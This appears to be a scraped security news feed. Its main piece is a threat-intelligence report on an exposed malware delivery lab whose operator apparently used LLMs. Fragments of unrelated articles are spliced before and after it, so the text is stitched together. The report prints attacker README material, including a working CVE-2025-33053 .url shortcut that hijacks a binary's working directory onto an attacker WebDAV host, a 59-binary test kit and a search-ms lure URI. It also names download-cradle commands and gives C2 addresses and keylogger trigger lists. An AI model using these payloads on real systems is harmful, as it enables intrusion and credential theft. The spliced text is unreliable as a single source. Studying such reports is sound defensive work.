| cocpostmaster[@]cocinternal[.]cm | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| nationaladmin[@]gadellinet[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| nationalintegrity[@]harteprn[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| m365premiumcommunications[@]cocinternal[.]com | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| documentviewer[@]na[.]businesshellosign[.]de | Email address | Email address used to send campaign emails | 2026-04-14 | 2026-04-16 |
| 5DB1ECBBB2C90C51D81BDA138D4300B90EA5EB2885CCE1BD921D692214AECBC6 | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
| B5A3346082AC566B4494E6175F1CD9873B64ABE6C902DB49BD4E8088876C9EAD | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
| 11420D6D693BF8B19195E6B98FEDD03B9BCBC770B6988BC64CB788BFABE1A49D | SHA-256 | File hash of campaign PDF attachment | 2026-04-14 | 2026-04-16 |
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
The post Email threat landscape: Q2 2026 trends and insights appeared first on Microsoft Security Blog.
An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.
Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.
This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.
The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.
That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.
At a high level, the 1,048 files clustered as follows:
Category | Files | Functions and discoveries |
LNK delivery launchers | 453 | Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths |
Filename-spoofing QA | 236 | Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior |
URL/LOLBin execution tests | 146 | Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution |
Encrypted droppers | 89 | Staged second-stage payloads and installer-style packages |
Alternative execution containers | 24 | search-ms, library-ms, .cpl, and related delivery containers |
Payload stubs and spoofed executables | 21 | Smaller loaders, decoys, and renamed binaries |
WebDAV scripts | 17 | Scripts intended to make WebDAV delivery more reliable on Windows systems |
Builder and operator notes | 10 | README files, test reports, mappings, and generation scripts |
ClickFix HTML lures | 9 | Browser-based social-engineering pages instructing users to run commands |
Miscellaneous files | 6 | Included documentation for the actor’s WebDAV delivery/admin panel |
Table 1: Breakdown of files recovered from the attacker’s delivery workspace
The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.
The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.
⠀
Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.
CVE | Observed samples | Short description |
CVE-2025-33053 | 11 | Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov) |
CVE-2026-21513 | 4 | MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov) |
CVE-2025-24054 | 1 | Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov) |
Table 2: CVE references observed in the exposed directory.
The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.
The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.
Login
CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================
WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!
HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!
REQUIREMENTS TO MAKE TEST WORK:
================================
1. iediagcmd.exe MUST exist on victim machine
Path: C:\Program Files\Internet Explorer\iediagcmd.exe
- Win10 (1607-22H2): YES
- Win11 21H2/22H2/23H2: usually YES
- Win11 24H2 (IE removed): NO (this is why your F-series failed!)
- Check on victim:
dir "C:\Program Files\Internet Explorer\iediagcmd.exe"
2. WebDAV MUST have file named EXACTLY "route.exe"
NOT putty.exe! iediagcmd will only execute these names:
- route.exe
- ipconfig.exe
- netsh.exe
- ping.exe
On your WebDAV server, RENAME putty.exe to route.exe
Place at: \\TA_C2\Downloads\route.exe
3. Microsoft patch from June 2025 MUST NOT be installed
Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
If patched, exploit fails.
ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
(mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
(if Office is installed)
REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014DFigure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀
The testing approach was methodical and included the below:
Transports: WebDAV over @80 and @ssl@443
Path formats: DavWWWRoot vs. plain UNC
Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent
Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…
Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows
Explorer containers: search-ms: queries and .library-ms files exposing remote payloads
ClickFix pages: relying on user copy/paste execution
Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr
The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.
Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.
The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.
The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.
The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.
The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.
We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.
Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity.
This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.
Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.
⠀
The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:
search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
&query=*.scr
&crumb=location:\\onedrive.cv@80\Downloads\CURP⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.
The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.
⠀
Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.
⠀
The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.
The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.
Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.
The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes.
Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.
Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.
While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.
The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.
⠀
Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.
The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.
The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest.
The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.
The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.
Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.
═══════════════════════════════════════════════════════════════════
WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
for Windows 11 24H2
═══════════════════════════════════════════════════════════════════
This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).
ALL .url files use this exact format (same as the real APT attack):
[InternetShortcut]
URL=C:\path\to\target.exe <- legitimate binary
WorkingDirectory=\\[REDACTED]@80\Downloads <- WebDAV (triggers WebClient!)
ShowCommand=7 <- start minimized (hide alert windows)
IconIndex=13 <- (decoy icon)
IconFile=msedge.exe <- (decoy icon)
═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════
STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
\\[REDACTED]\Downloads\
(59 test files - each is 5KB MessageBox popup exe)
STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine
STEP 3: Double-click .url files one by one (or all of them in sequence)
- If popup appears -> HIJACK WORKS! Read parent process name in popup.
- If nothing happens / error -> doesn't work, move to next.
STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
ones as new methods in web-renamer.
═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════
TIER 1 - CONFIRMED IN THE WILD:
I01_iediagcmd.url - CVE-2025-33053 (needs pre-June 2025 patch)
I02_CustomShellHost.url - CheckPoint research (may not exist on Server)
TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
I03_InstallUtil.url - InstallUtilLib.dll search
I04_RegAsm.url - .NET registration
I05_RegSvcs.url - .NET services
I06_CasPol.url - .NET security policy
I07_ngentask.url - NGen native compile (calls ngen.exe!)
I08_AddInUtil.url - AddIn util (calls AddInProcess.exe!)
I10_dfsvc.url - ClickOnce service
I15_csc.url - C# compiler (may call link.exe)
I16_vbc.url - VB compiler
TIER 3 - WIN11 SYSTEM .NET TOOLS:
I17_LbfoAdmin.url - NIC teaming admin
I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
I20_UevAppMonitor.url - UE-V monitor
I23_AppVStreamingUX.url - App-V streaming UI
TIER 4 - LOLBAS Execute-EXE binaries:
I26_Pcwrun.url - LOLBAS Execute(EXE)
I28_WorkFolders.url - LOLBAS Execute(EXE,Rename)
I33_stordiag.url - LOLBAS Execute(EXE) - calls systeminfo etc
I36_Provlaunch.url - LOLBAS Execute(CMD) - calls provtool.exe!
TIER 5 - UAC bypass binaries (worth testing):
I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url
═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════
For the attack to succeed, the LOLBin must:
1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
name (no full path).
2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
(e.g. "C:\Windows\System32\ipconfig.exe").
3. Be runnable without command-line args.
If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.
═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════
When hijack works, you'll see:
TEST OK - Working Directory Hijack SUCCESS
Executed as: route.exe <- which name was hijacked
Full path: \\[REDACTED]@80\Downloads\route.exe <- ran from WebDAV!
Working dir: \\[REDACTED]@80\Downloads
Parent process: iediagcmd <- which LOLBin spawned it
═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════
* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
(e.g. I02_CustomShellHost was missing on my test Server 2025).
These will silently fail - just move on.
* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
triggering any hijack. That's fine - if no popup appears, no hijack.
* See _MAPPING.csv for full mapping of each .url to its target binary
and expected child process names.Figure 7: Context of README.md found in the exposed directory.
The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:
⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.
Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.
⠀
⠀
The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.
The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.
# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques **Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test` **Total files:** 60 **Generated:** 2026-05-30 --- ## Overview / Обзор This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project. В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer. --- ## Naming Scheme / Схема именования All files follow the pattern: Все файлы следуют шаблону: ``` HyperPackSetup.<method>.<trick>.<spoof>.lnk ``` - **`HyperPackSetup`** — base filename / базовое имя файла - **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV - **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK - **`<spoof>`** — RTLO + homoglyph extension spoof (`ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf` - **`.lnk`** — real extension / реальное расширение > The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable. > Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми. ...
Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.
As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”
⠀
The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.
The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.
Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.
We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.
The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.
⠀
The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).
We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.
The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.
Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.
The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.
Country | Requests | Share of requests | Unique client IPs | Launch events |
Mexico | 63,622 | 82.5% | 2,698 | 2,365 |
United States | 4,032 | 5.2% | 463 | 47 |
Germany | 2,751 | 3.6% | 59 | 1 |
United Kingdom | 645 | 0.8% | 40 | 0 |
Netherlands | 532 | 0.7% | 49 | 1 |
France | 407 | 0.5% | 21 | 0 |
Finland | 401 | 0.5% | 6 | 10 |
Brazil | 343 | 0.4% | 41 | 0 |
Republic of Korea | 312 | 0.4% | 16 | 1 |
Table 3: Geographic distribution of WebDAV delivery activity.
Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.
Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.
By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.
The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.
Method | Count |
PROPFIND | 57,287 |
GET | 13,088 |
OPTIONS | 6,597 |
PROPPATCH | 125 |
LOCK | 1 |
Table 4: HTTP methods observed in WebDAV delivery traffic.
Status | Count |
207 | 57,412 |
200 | 19,532 |
206 | 154 |
Table 5: HTTP status codes observed in WebDAV delivery traffic.
Name | MITRE ATT&CK technique | Code |
Payload execution | User Execution: Malicious File | T1204.002 |
Masquerading | Right-to-Left Override | T1036.002 |
Masquerading | Double File Extension | T1036.007 |
DLL sideloading | Hijack Execution Flow: DLL | T1574.001 |
Obfuscation | Encrypted/Encoded File | T1027.013 |
Payload unpacking | Deobfuscate/Decode Files or Information | T1140 |
Payload carrier | Steganography / image-carried payload data | T1027.003 |
API hiding | Dynamic API Resolution | T1027.007 |
In-memory loading | Reflective Code Loading | T1620 |
Injection | Process Hollowing | T1055.012 |
Native API use | Native API | T1106 |
Sandbox evasion | Time Based Evasion | T1497.003 |
Anti-analysis | Debugger / instrumentation checks | T1622 |
UAC bypass | Bypass User Account Control | T1548.002 |
Persistence | Registry Run Keys / Startup Folder | T1547.001 |
Persistence | Scheduled Task | T1053.005 |
Collection | Keylogging | T1056.001 |
Collection | Screen Capture | T1113 |
Collection | Clipboard Data | T1115 |
Credential access | Credentials from Web Browsers | T1555.003 |
Credential access | Steal Web Session Cookie | T1539 |
Collection | Data from Local System | T1005 |
Collection | Automated Collection | T1119 |
Staging | Archive Collected Data: Archive via Utility | T1560.001 |
C2 | Encrypted Channel | T1573 |
Exfiltration | Exfiltration Over C2 Channel | T1041 |
Possible persistence | WMI Event Subscription | T1546.003 |
Phishing lure generation | Generate Phishing Lures | AML.T0052 |
Resource Development | Resource Development | AML.TA0003 |
Obtain capabilities via LLM tooling | Obtain Capabilities | AML.T0016 |
LLM-assisted capability development | Develop Capabilities | AML.T0017 |
LLM prompt crafting for attack documentation | LLM Prompt Crafting | AML.T0065 |
Obtain capabilities via tooling | Obtain Capabilities: Software Tools | AML.T0016.001 |
Phishing page: hxxps://gobf[.]mx
WebDav server: onedrive[.]cv
ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7
C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888
Domain: google.services[.]ug
Campaign tag:06x12x2026SantaEbash2 (v4.4.3)
Schedule tasks: brokerhost, net_queue_32
Staging paths:
%TEMP%\is-XXXXX.tmp\Fo-Binary.exe
%AppData%\Roaming\inttracer_i686_prod\
C:\ProgramData\inttracer_i686_prod\
C2: 23[.]94[.]252[.]228:57666
JA3: fc54e0d16d9764783542f0146a98b300
DlrtyGames.exe
SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268
discord-rpc.x64.dll
SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df
profiler16.dll
SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9
loader-pool.db
SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b
.NET RAT
SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923
Staging paths:
C:\ProgramData\basenet\
%APPDATA%\basenet\
Persistence:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW
\com_app_bg_i686
\messenger_component_v8_32_rc
More indicators of compromise can be found on Rapid7’s GitHub.
Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.
The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.
The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded.
While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.
The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.
The attackers call victims to direct them to phishing websites mirroring Microsoft Entra ID login pages.
The post Okta Warns of Vishing Attacks Targeting Microsoft 365 Customers appeared first on SecurityWeek.
China-aligned attackers broke into the networks of U.S. and Canadian universities to steal sensitive data and establish persistent access via webshells and backdoors, Proofpoint threat researchers said Tuesday.
The espionage-motivated attacks targeted physics and engineering departments, focusing on administrators and professors with national security links or organizations researching astrophysics and particle physics.
Proofpoint identified less than 10 university victims and estimates a few dozen universities may be impacted, Greg Lesnewich, principal threat researcher at Proofpoint, told CyberScoop. The company first observed the campaign in May and believes the campaign is ongoing.
“There is a high likelihood that many victims have not been made aware of this activity yet,” Lesnewich added.
Researchers traced the attacks to a pair of critical vulnerabilities in Roundcube, an open-source email client, that were exploited and chained together to steal credentials and gain long-term access.
The threat cluster, which Proofpoint tracks as UNK_MassTraction, exploited CVE-2024-42009 to execute JavaScript inside the victim’s browser, then exploited CVE-2025-49113 to gain a foothold in the mailserver.
The initial exploit in the chain only requires a victim to open an email, and the attackers sent victims a series of generic lures to trigger the initial access.
